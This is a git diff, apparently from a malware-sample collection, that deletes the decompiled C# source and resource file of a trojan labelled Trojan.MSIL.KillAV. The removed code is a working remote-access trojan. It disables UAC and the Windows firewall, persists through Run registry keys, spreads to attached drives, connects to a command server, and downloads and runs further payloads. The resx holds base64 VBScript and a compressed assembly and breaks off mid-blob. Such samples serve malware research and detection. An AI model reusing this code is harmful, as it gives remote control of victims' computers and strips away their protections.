(Operators.ConditionalCompareObjectEqual(MyProject.Computer.Registry.ClassesRoot.GetValue("!", (object) null), (object) null, false)) - { - O.FR = Conversions.ToString(MyProject.Computer.Clock.LocalTime) + " >> " + O.ep(); - MyProject.Computer.Registry.ClassesRoot.SetValue("!", (object) O.ENB(ref O.FR)); - } - else - { - string s = Conversions.ToString(MyProject.Computer.Registry.ClassesRoot.GetValue("!", (object) "*")); - O.FR = O.DEB(ref s); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - O.FR = "*"; - ProjectData.ClearProjectError(); - } - try - { - O.R(); - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - O.SU = "*"; - O.mU = "*"; - try - { - NK.Key = "HKEY_CURRENT_USER\\Software\\nKey"; - string[] st = O.ST; - string N = "vname"; - string str = NK.GetValue(ref N, ref O.ST[2]); - st[2] = str; - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - try - { - string str1 = "FT"; - ref string local1 = ref str1; - string str2 = ""; - ref string local2 = ref str2; - if (Operators.CompareString(NK.GetValue(ref local1, ref local2), "", false) == 0) - { - O.Bo[0] = true; - str2 = "FT"; - ref string local3 = ref str2; - string str3 = "&"; - ref string local4 = ref str3; - NK.SetValue(ref local3, ref local4); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - O.cc = 4; - if (O.Bo[6]) - O.B.RunWorkerAsync(); - new Thread(new ThreadStart(O.E)).Start(); - try - { - MyProject.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "EnableLUA", (object) 0, RegistryValueKind.DWord); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - O.con(); - while (true) - { - Thread.Sleep(1000); - try - { - checked { ++O.cc; } - checked { ++O.c0; } - if (O.c2 < 5) - checked { ++O.c2; } - if (O.c2 == 5) - { - try - { - Process[] processesByName1 = Process.GetProcessesByName(Process.GetCurrentProcess().ProcessName); - int index1 = 0; - while (index1 < processesByName1.Length) - { - Process process1 = processesByName1[index1]; - try - { - if (FileSystem.FileLen(process1.MainModule.FileName) == FileSystem.FileLen(Process.GetCurrentProcess().MainModule.FileName)) - { - if (process1.Id != Process.GetCurrentProcess().Id) - { - try - { - process1.Kill(); - Process[] processesByName2 = Process.GetProcessesByName("wscript"); - int index2 = 0; - while (index2 < processesByName2.Length) - { - Process process2 = processesByName2[index2]; - try - { - process2.Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++index2; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++index1; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(O.SU, "*", false) != 0) - { - if (O.cc > 4) - { - try - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(O.SU), (object) null, false)) - registryKey.SetValue(O.SU, (object) (O.ep() + " @..")); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(O.SU), (object) null, false)) - registryKey.SetValue(O.SU, (object) O.ep()); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - O.cc = 0; - } - } - if (!O.Bo[5]) - { - try - { - if (O.WC.CNT()) - { - if (O.Bo[4]) - { - if (O.Bo[0] & !O.Bo[2]) - { - O.Bo[2] = true; - string T = "#blue"; - O.SEND(ref T); - } - } - } - else - { - O.Dis(); - O.con(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - O.Dis(); - O.con(); - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public static void con() - { - O.Bo[5] = true; - try - { - O.Bo[3] = false; - if (!O.Bo[1]) - { - O.Bo[1] = true; - try - { - Process.Start(new ProcessStartInfo() - { - FileName = "netsh", - Arguments = "firewall set opmode disable", - CreateNoWindow = true, - WindowStyle = ProcessWindowStyle.Hidden - }); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - O.WC = new sk(); - O.WC.CN(Strings.Split(O.ST[5], ":")[0], Conversions.ToInteger(Strings.Split(O.ST[5], ":")[1])); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - Thread.Sleep(2000); - O.Bo[5] = false; - } - - public static void Dis() - { - try - { - O.Bo[3] = true; - O.Bo[4] = false; - O.WC.DS(); - O.WC = (sk) null; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void SEND(ref string T) - { - try - { - O.WC.C1(O.WC.STB(T)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void W0() - { - try - { - string T = "#2" + O.ST[1] + O.A0() + O.ST[1] + O.ST[2] + "_."; - O.SEND(ref T); - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - try - { - string str = "X"; - int num = 0; - do - { - str += "\r\nX"; - checked { ++num; } - } - while (num <= 5); - string T = "#2" + O.ST[1] + str + O.ST[1] + O.ST[2] + "_ "; - O.SEND(ref T); - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - O.Bo[4] = true; - Thread.Sleep(100); - O.Bo[3] = false; - } - - public static void W2() - { - O.Bo[3] = true; - O.Bo[4] = false; - } - - public static void W3(byte[] D) => O.WC.AT(D); - - public static string ep() => (AppDomain.CurrentDomain.BaseDirectory + "\\" + AppDomain.CurrentDomain.FriendlyName).Replace("\\\\", "\\"); - - public static string Fp() => AppDomain.CurrentDomain.BaseDirectory; - - public static void ind(byte[] Da) - { - string Expression = O.WC.BTS(Da); - try - { - Array Instance1 = (Array) Strings.Split(Expression, O.ST[1]); - string Left = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 0 - }, (string[]) null).ToString(); - if (Operators.CompareString(Left, "#X", false) == 0) - { - int offset = checked (8 + NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - unchecked ((object) 1) - }, (string[]) null).ToString().Length); - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Da, offset, checked (Da.Length - offset)); - byte[] array = memoryStream.ToArray(); - bool flag = false; - ref bool local = ref flag; - byte[] bytes = O.ZIP(array, ref local); - int num = 0; - do - { - if (File.Exists(Conversions.ToString(Operators.ConcatenateObject((object) (O.ST[0] + Conversions.ToString(num) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))))) - { - try - { - File.Delete(Conversions.ToString(Operators.ConcatenateObject((object) (O.ST[0] + Conversions.ToString(num) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)))); - File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (O.ST[0] + Conversions.ToString(num) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))), bytes); - NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1] - { - Operators.ConcatenateObject((object) (O.ST[0] + Conversions.ToString(num) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)) - }, (string[]) null, (Type[]) null, (bool[]) null, true); - break; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++num; } - } - else - { - File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (O.ST[0] + Conversions.ToString(num) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))), bytes); - NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1] - { - Operators.ConcatenateObject((object) (O.ST[0] + Conversions.ToString(num) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)) - }, (string[]) null, (Type[]) null, (bool[]) null, true); - break; - } - } - while (num <= 999); - } - else if (Operators.CompareString(Left, "##", false) == 0) - { - string T = "#Bla"; - O.SEND(ref T); - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Da, 5, checked (Da.Length - 5)); - MyProject.Computer.Registry.CurrentUser.SetValue("p161", (object) memoryStream.ToArray()); - Process.Start(O.ep()); - ProjectData.EndApp(); - } - else if (Operators.CompareString(Left, "#R", false) == 0) - { - string str1 = "vname"; - ref string local1 = ref str1; - Array Instance2 = Instance1; - object[] objArray1 = new object[1]; - object[] objArray2 = objArray1; - int num = 1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num; - objArray2[0] = (object) local2; - object[] Arguments = objArray1; - string str2 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, Arguments, (string[]) null)); - ref string local3 = ref str2; - NK.SetValue(ref local1, ref local3); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num, - (object) str2 - }, (string[]) null, true, false); - O.ST[2] = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)); - string T = "#R" + O.ST[1] + O.ST[2]; - O.SEND(ref T); - } - else if (Operators.CompareString(Left, "p", false) == 0) - { - string T = "p"; - O.SEND(ref T); - } - else if (Operators.CompareString(Left, "#2", false) == 0) - { - string str = "." + Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)), ".")[checked (Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - unchecked ((object) 1) - }, (string[]) null)), ".").Length - 1)]; - int num1 = 0; - while (File.Exists(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num1) + str)) - { - try - { - File.Delete(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num1) + str); - int num2; - checked { ++num2; } - if (num2 > 5) - return; - continue; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++num1; } - if (num1 > 9999) - return; - } - string fileName = Interaction.Environ("appdata") + "\\" + Conversions.ToString(num1) + str; - Network network = MyProject.Computer.Network; - object[] objArray3 = new object[2]; - object[] objArray4 = objArray3; - Array Instance3 = Instance1; - object[] objArray5 = new object[1]; - object[] objArray6 = objArray5; - int num3 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num3; - objArray6[0] = (object) local; - object[] Arguments1 = objArray5; - object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance3, Arguments1, (string[]) null)); - objArray4[0] = objectValue; - objArray3[1] = (object) fileName; - object[] objArray7 = objArray3; - object[] Arguments2 = objArray7; - bool[] flagArray = new bool[2]{ true, true }; - bool[] CopyBack = flagArray; - NewLateBinding.LateCall((object) network, (Type) null, "DownloadFile", Arguments2, (string[]) null, (Type[]) null, CopyBack, true); - if (flagArray[0]) - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num3, - RuntimeHelpers.GetObjectValue(objArray7[0]) - }, (string[]) null, true, false); - if (flagArray[1]) - fileName = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray7[1]), typeof (string)); - Process.Start(fileName); - } - else if (Operators.CompareString(Left, "#4", false) == 0) - { - try - { - O.B.Dispose(); - O.fj.Dispose(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (O.Bo[6]) - { - try - { - Process[] processesByName = Process.GetProcessesByName("wscript"); - int index = 0; - while (index < processesByName.Length) - { - Process process = processesByName[index]; - try - { - process.Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++index; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null), (object) "!", false)) - { - NK.CLEAR(); - try - { - DriveInfo[] drives = DriveInfo.GetDrives(); - int index = 0; - while (index < drives.Length) - { - DriveInfo driveInfo = drives[index]; - if (driveInfo.IsReady) - { - if (driveInfo.TotalFreeSpace > 0L) - { - try - { - if (File.Exists(driveInfo.Name + O.Uo)) - File.Delete(driveInfo.Name + O.Uo); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - checked { ++index; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - File.WriteAllText(O.Fp() + "\\j.vbs", O.DEB(ref nv.My.Resources.Resources.Q.Split('.')[1]).Replace("NJ", O.ep())); - Process.Start(O.Fp() + "\\j.vbs"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - ProjectData.EndApp(); - } - else if (Operators.CompareString(Left, "#6", false) == 0) - { - try - { - O.B.Dispose(); - if (O.fj.Id > 1) - O.fj.Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - Process.Start(O.ep()); - ProjectData.EndApp(); - } - else - { - if (Operators.CompareString(Left, "#29", false) != 0) - return; - string T = "#Bla"; - O.SEND(ref T); - int num = 0; - string str; - while (File.Exists(O.ST[0] + Conversions.ToString(num) + ".exe")) - { - try - { - File.Delete(O.ST[0] + Conversions.ToString(num) + ".exe"); - str = O.ST[0] + Conversions.ToString(num) + ".exe"; - goto label_64; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++num; } - if (num > 999) - goto label_64; - } - str = O.ST[0] + Conversions.ToString(num) + ".exe"; -label_64: - string path = str; - byte[] B = O.FDE(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - bool flag = false; - ref bool local = ref flag; - byte[] bytes = O.ZIP(B, ref local); - File.WriteAllBytes(path, bytes); - Process.Start(new ProcessStartInfo() - { - FileName = str, - Arguments = "!0@" + O.ep() + "@" + O.SU + "@" + Conversions.ToString(Process.GetCurrentProcess().Id) - }); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - string[] strArray1 = new string[6] - { - "#10", - O.ST[1], - "^", - Conversions.ToString(0), - O.ST[1], - null - }; - string[] strArray2 = strArray1; - string message = exception.Message; - string str = O.ENB(ref message); - strArray2[5] = str; - string T = string.Concat(strArray1); - O.SEND(ref T); - ProjectData.ClearProjectError(); - } - } - - public static BackgroundWorker B - { - get => O._B; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - DoWorkEventHandler workEventHandler = (DoWorkEventHandler) ((a0, a1) => O.D()); - if (O._B != null) - O._B.DoWork -= workEventHandler; - O._B = value; - if (O._B == null) - return; - O._B.DoWork += workEventHandler; - } - } - - public static void D() - { - byte[] p = nv.My.Resources.Resources.P; - bool flag = false; - ref bool local1 = ref flag; - byte[] numArray = O.ZIP(p, ref local1); -label_1: - try - { - File.WriteAllText(O.u, O.z); - O.fj.StartInfo.FileName = O.u; - O.fj.Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } -label_4: - try - { - ref byte[] local2 = ref numArray; - string str1 = "P.V"; - ref string local3 = ref str1; - string str2 = "FWD"; - ref string local4 = ref str2; - object obj1 = (object) new object[1] - { - (object) "Windows Script Host" - }; - ref object local5 = ref obj1; - int integer = Conversions.ToInteger(O.inv(ref local2, ref local3, ref local4, ref local5)); - ref byte[] local6 = ref numArray; - string str3 = "P.V"; - ref string local7 = ref str3; - string str4 = "Iswd"; - ref string local8 = ref str4; - object obj2 = (object) new object[1] - { - (object) integer - }; - ref object local9 = ref obj2; - if (Operators.ConditionalCompareObjectEqual(O.inv(ref local6, ref local7, ref local8, ref local9), (object) 1, false)) - { - try - { - O.fj.Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - Thread.Sleep(100); - try - { - if (!O.fj.WaitForExit(100)) - goto label_4; - else - goto label_1; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void USb(string S) - { - while (true) - { - Thread.Sleep(5000); - try - { - DriveInfo[] drives = DriveInfo.GetDrives(); - int index = 0; - while (index < drives.Length) - { - DriveInfo driveInfo = drives[index]; - if (driveInfo.IsReady) - { - if (driveInfo.TotalFreeSpace > 0L) - { - try - { - File.Copy(O.ep(), driveInfo.Name + S, true); - File.SetAttributes(driveInfo.Name + S, FileAttributes.Normal); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - checked { ++index; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public static object inv(ref byte[] F, ref string C, ref string S, ref object P) - { - Assembly assembly = Assembly.Load(F); - return assembly.GetType(C).GetMethod(S).Invoke(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Activator.CreateInstance(assembly.GetType(C)))), (object[]) P); - } - - public static byte[] ZIP(byte[] B, ref bool CM) - { - if (CM) - { - MemoryStream memoryStream = new MemoryStream(); - GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Compress, true); - gzipStream.Write(B, 0, B.Length); - gzipStream.Dispose(); - memoryStream.Position = 0L; - byte[] buffer = new byte[checked ((int) memoryStream.Length + 1)]; - memoryStream.Read(buffer, 0, buffer.Length); - memoryStream.Dispose(); - return buffer; - } - MemoryStream memoryStream1 = new MemoryStream(B); - GZipStream gzipStream1 = new GZipStream((Stream) memoryStream1, CompressionMode.Decompress); - byte[] buffer1 = new byte[4]; - memoryStream1.Position = checked (memoryStream1.Length - 5L); - memoryStream1.Read(buffer1, 0, 4); - int int32 = BitConverter.ToInt32(buffer1, 0); - memoryStream1.Position = 0L; - byte[] array = new byte[checked (int32 - 1 + 1)]; - gzipStream1.Read(array, 0, int32); - gzipStream1.Dispose(); - memoryStream1.Dispose(); - return array; - } - - public static byte[] FDE(string B) => Convert.FromBase64String(B); - - public static string ENB(ref string s) => Convert.ToBase64String(Encoding.UTF8.GetBytes(s)); - - public static string DEB(ref string s) => Encoding.UTF8.GetString(Convert.FromBase64String(s)); - - [DllImport("kernel32.dll")] - private static extern int GetLocaleInfo( - uint Locale, - uint LCType, - [Out] StringBuilder lpLCData, - int cchData); - - private static string Gcc(uint lInfo) - { - StringBuilder lpLCData = new StringBuilder(256); - int localeInfo = O.GetLocaleInfo(1024U, lInfo, lpLCData, lpLCData.Capacity); - return localeInfo > 0 ? lpLCData.ToString().Substring(0, checked (localeInfo - 1)) : string.Empty; - } - - public static string Gc() => O.Gcc(7U); - - public static string A0() - { - RegistryProxy registry = MyProject.Computer.Registry; - string str1 = O.ST[3] + "\r\n"; - string str2; - try - { - str2 = str1 + O.Gc() + "\r\n"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str2 = str1 + "X\r\n"; - ProjectData.ClearProjectError(); - } - string str3; - try - { - str3 = str2 + MyProject.Computer.Info.OSFullName + "\r\n"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str3 = str2 + "X\r\n"; - ProjectData.ClearProjectError(); - } - string Expression = str3 + "..\r\n" + O.ST[4]; - string str4; - try - { - str4 = Strings.Replace(Strings.Replace(Strings.Replace(Expression, "Microsoft", ""), "Windows", "Win").Replace("®", "").Replace("™", ""), " ", " "); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str4 = Expression + "X\r\n"; - ProjectData.ClearProjectError(); - } - return str4 + "\r\n \r\nNo Plugin"; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/Resources.resx b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/Resources.resx deleted file mode 100644 index b77ef57d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/Resources.resx +++ /dev/null @@ -1,238 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - b24gZXJyb3IgcmVzdW1lIG5leHQNCmtrDQpzZXQgdHQgPSBnZXRvYmplY3QoIndpbm1nbXRzOiIpDQpEaW0gRg0KRGltIFANCkYgPSAiTkpQIg0KUCA9IE5KRg0Kc2V0IG5qbj0gY3JlYXRlb2JqZWN0KCJ3c2NyaXB0LnNoZWxsIikNCkRvIFVudGlsIDE9Mg0KV1NjcmlwdC5TbGVlcCAyMDAwDQpwcA0KbG9vcA0Kc3ViIHBwDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KZm9yIGVhY2ggUHJvY2VzcyBpbiB0dC5JbnN0YW5jZXNPZigiV2luMzJfcHJvY2VzcyIpDQppZiBQcm9jZXNzLnByb2Nlc3NpZCA9IHAgdGhlbg0KZXhpdCBzdWINCmVuZCBpZg0KTmV4dA0KbmpuLnJ1bihmKQ0KV1NjcmlwdC5RdWl0DQplbmQgc3ViDQpzdWIga2sNCm9uIGVycm9yIHJlc3VtZSBuZXh0DQpTZXQgZnNvID0gQ3JlYXRlT2JqZWN0KCJTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIpDQpTZXQgYUZpbGUgPSBmc28uR2V0RmlsZShXU2NyaXB0LlNjcmlwdEZ1bGxOYW1lKQ0KYUZpbGUuRGVsZXRlDQplbmQgc3Vi.b24gZXJyb3IgcmVzdW1lIG5leHQNCnNldCB0dCA9IGdldG9iamVjdCgid2lubWdtdHM6IikNCkRpbSBGDQpGID0gIk5KIg0KV1NjcmlwdC5TbGVlcCAyMDAwDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KU2V0IGZzbyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ0KU2V0IGFGaWxlID0gZnNvLkdldEZpbGUoV1NjcmlwdC5TY3JpcHRGdWxsTmFtZSkNCmFGaWxlLkRlbGV0ZQ0Kc2V0IGFmID0gZnNvLkdldEZpbGUoRikNCmFmLmRlbGV0ZQ== - - - - - H4sIAAAAAAAEAO29B2AcSZYlJi9tynt/SvVK1+B0oQiAYBMk2JBAEOzBiM3mkuwdaUcjKasqgcplVmVd - ZhZAzO2dvPfee++999577733ujudTif33/8/XGZkAWz2zkrayZ4hgKrIHz9+fB8/Ir74qT/p1/i1f41f - 49f4dej///f//Wv8Gn/XryHP76k/Nz1/EP3/N/ld/p7f5Nf4237sn/9d/65f8/k//7u+mRdNuqqrizpb - pNNsuazadJKn9XqZFsv06Zev00U1y8e/8W+c/G4K4+Xpr/FrPP81f+1fY/t//vO+MHD/o1/j1/pdf8Nf - 8zf4NX6NnV9DEKNn+YL+Sen/fwD++j3l91/Lfm1//hp/kXz+a/CP3/MP/zV+jd+M/+d+2h/8/FYE97v4 - 5Q8IP7fPH/Rr/Bq/Uezzm5701/g1fgPvz9+A/v629/e4zd+19LMdS1seq+JtHvr4DxjXTT39NRS3P0Db - 7IXtfk/637jOy2qquP5B2m6/1+5J+AnR/4X8/PavgVd+3V/j13hENPmtfo1f49fsNrzl8wt+mz+IXv11 - vvVb7vw6AAU4v/mvtUUclvxaP5PQF7/Nb7P16+CP3/6Pp79+zeTX+21qarH6S36937b+Xfnnb1ff55+/ - 5DcGlF/j1/gtd36tX+PVr8HD+c0b+ufX+42a34n+/Y1/7Df4JYTlr/Njv/v/9ev/zvR3Q5gnza9H/yS/ - 3q9X/fr08zegb34DfPMb4Jsfo39+w1+/oj6TT36933brN6Sfv+32r1T4BAgy8Jv/Vr/hb/Fr/tpbRMFf - D/8kySe/xq9H4/g1f43f5Ndg/vrNf+3v/DSQ//V+mr/5NX6N33Hn1/41/mL6jvr+zbcI3+S3/HV/m9/y - 1/lk8Zv/ur/5r/PnJL9Lwt38Wr8YI/ktf/3f5rf89T45/c1//d/81/tzfsNfryKISfWb0j+/Pv/722z9 - Zvj33u/y61W/Of3yO9yjMfwW9Mt/8Jv87lu/Jf38jbZ+K/z1a/zmv95v+2/8lr/eb/7r/ea//p/wd+79 - rb/5r0N//Tq/+a/zm/+69Ncfa9r+xto2/aPoL8bg4A/4v//v//tbmIvfDjP07Nf4zb/7a/wmv6lO8R/6 - h8rvv+POr/9r/C1ENyLhb/5LMYOjX/fgL6e/01/+ayqYLcLo10t+q9/yt/gtfouahHb1W/6Wv8Vv6YjF - hPlt/69fs/5j6aut3xrD+XOq34Z+/Fa/5W/1W/xW8sJv/Vv81vLCb0uf//4P/3fq/rf6LX+b3+K3kW9/ - 29/it+Vvf8Pf4tf6v35rgvZr/fq/xa+1ReT49X7hr2Ub/Hq/7R9P6Pyav+Xv8Jv/Dr/Nb/9b/va/+W// - x9Egf82/5Df/HX6rrd8OSPz2mASC+Dszd/2Wv91v/tv9Nr/Fr/WLibi/ztbvQF/9Jb/5b/fb1n8u+Os3 - /+1+O/rit/C++O3NF78DffGbe1/8juaL34m++C29L7Z+R/rJX/7Wv83W74Sef6ff4ncCi/16v95vJ2j+ - jr/57/jbWBx/x9/2N/9t6N/f6rf9bbZ+Z29uzXz9Vhhf/RdioDSALmF/z/+DiUUUlCZEU27yW/46v8Wv - K9T6zek3Q66/sEMu4OGT63fcQK5fd4hcv+4QuX7dIXL9uu9JLsyqm1Im1+9gyCXk+advJs8/HZDn1/st - fn0lD/1myPNPfwB5fv0h8vz6Q+T59YfI8+t/4+T5LwfIQ2L5a/+aXbEEsf5Ln1gqlkJKEm75lsRdSPkb - /BY/pqSk3wwp/8sPIOWPDZHyx4ZI+WNDpPyxb5CU/8FvKoL5WyaBZP7mv+YgbT+P0pZfGKQtf2tp+xv+ - Fr+R0pZ+M7TlJl+Ttr/REG1/oyHa/kZDtP2NfjZoG2q933+Atp5Y//4+NX/L3+S3+E2VXvSbodfv/wH0 - +k2H6PWbDtHrNx2i12/6s0Gv30zpZT/4zfWDgy//Nzbux+9+DX6oi1/j9yK4F/R/+C3Gzv+tv/av8Wt8 - gd9+Xf7Mfv6b/rry+e/764Wfv6W/f1f67Y/79cPPib9/jT+SPvvzvc9/y51f79f4+8nL+fXhB/0CQiv5 - tV/+lr/Jb/6b8Iyob/N7/v30+q/7UqfmN/3Nf9Pf5rfRIf+mOi2/C/1jG/xmv/lv9tv8ttrgN/Ma/Ja/ - +W90cO5D+i1+89/it/nttOFvIQ3TEfDGR1tpD/Bv+Zv/lr+NIfZv6QP+rX7jg1+TWvwWv/Vv8GPsof7m - v/XW74ovfwu4JL++97ZBS9/WQX5Ev5pWwMn0oTjVf7ZttfXj+Od3o39Gv9Vv99v8Nr/Nbwvv+Nf7Hexv - H97Xvxzr68djfXlO4q+if3/sd/w3fuMf+81/q6Nf+X/93//3b/A7/hu/0W/wm//mR38K/X7wb9CXNJ+/ - uTefv5K6/7V+cQJWvx2dfvNb4f5vxnD/3X4tZqtfgt5iwzh4/Bt6LIHODXP5UxzwjMHO8Myf8WsYnvnd - LUuQM3/wa/nMBq40CCtX/i6zzlsBj5vGPo//lr/tb/nrHvy5vwZYDb77+zHbzyYRf+WP0ST/ur9L8m/8 - lr8uRTC/7dHvS2HDb/7r4G8EGb/N0a8AJ/xzP8acAIfccMLv9mu9HyewAq7/Q8bxF9KvZEL9wXRmJtL6 - 9x/dv2Esv8uMmbr+72GZP6bfDn6HH/tADulN9G/52/2Wv97B79BlD6OLfKW1iSX6YH/73/LXP/hbhT0o - 0Hsv9vg5oew/BLX/64NNfn0Kb3/7o6dgm18PfyNS/e2O/n2wzZ/+6zPb/Jce27y3Avk/b8X7//fX4v1f - /et9IHtEFcjv8Fv+Bj8bCuR3/C1/zCiQ3+A3f09r9bNJxL8DiZAfw8z/2G/+Y7/57ygK5DfA378BIfo7 - iAL5Y39d5oS/0OOE//F9OUFe/tkZxP/86/xscMLv9FsmB//7r7FZV6T/lH0xvT0z/M6/5W948CcJMyS/ - +W/4fszwAXT87aPE+9vo39/8N8SM/4a/+W/4m//ORxfggAR/J4Td73T0f4ID/uhfmzngn/Y44PLXfk8O - +KdvhXnHETJNf7O+cxkBGKF4/Rv/WiEptiw9buSrP/vX+tngq1/wW/5GBzs+5G+Mr36X3/I3Pvgnfk3m - 